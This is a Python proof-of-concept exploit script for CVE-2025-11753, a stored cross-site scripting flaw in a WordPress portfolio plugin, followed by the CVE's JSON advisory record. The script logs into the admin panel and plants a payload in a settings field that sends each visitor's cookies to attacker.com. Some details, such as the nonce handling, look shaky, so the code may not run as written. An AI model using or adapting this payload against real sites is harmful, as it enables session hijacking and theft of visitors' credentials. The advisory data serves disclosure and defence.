CVE-2025-11753

# CVE-2025-11753 Stored XSS PoC # Affected: Bootstrap Multi-language Responsive Portfolio plugin <= 1.0 # Target: WordPress with multi-site or unfiltered_html disabled import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin_username" PASSWORD = "admin_password" def login(): """Login to WordPress admin panel""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login nonce response = session.get(login_url) soup = BeautifulSoup(response.text, 'html.parser') nonce = soup.find('input', {'name': 'wpnonce'})['value'] # Login login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'wpnonce': nonce, 'redirect_to': f'{TARGET_URL}/wp-admin/admin.php?page=bmrp-settings' } session.post(login_url, data=login_data) return session def exploit_stored_xss(session): """Inject malicious JavaScript via plugin settings""" settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=bmrp-settings" # Malicious payload - steals cookies xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" # Submit the payload through settings form exploit_data = { 'bmrp_portfolio_title': xss_payload, 'bmrp_submit': 'Save Changes', '_wpnonce': session.cookies.get('wordpress_wpnonce') } response = session.post(settings_url, data=exploit_data) print(f"[+] XSS payload sent. Status: {response.status_code}") print(f"[+] Payload: {xss_payload}") print(f"[!] Any user visiting the portfolio page will execute the malicious script") if __name__ == "__main__": print("[*] CVE-2025-11753 Exploitation Script") print("[*] Stored XSS in Bootstrap Multi-language Responsive Portfolio") try: session = login() exploit_stored_xss(session) print("[+] Exploit completed successfully") except Exception as e: print(f"[-] Error: {str(e)}") sys.exit(1)

{"cve": {"id": "CVE-2025-11753", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:02.263", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Bootstrap Multi-language Responsive Portfolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/bootstrap-multi-language-responsive-portfolio/trunk/wpt-posttype-portfolio.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/bootstrap-multi-language-responsive-portfolio/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e016213f-b06f-4a9d-a2c6-3b4dd1b6b571?source=cve", "source": "[email protected]"}]}}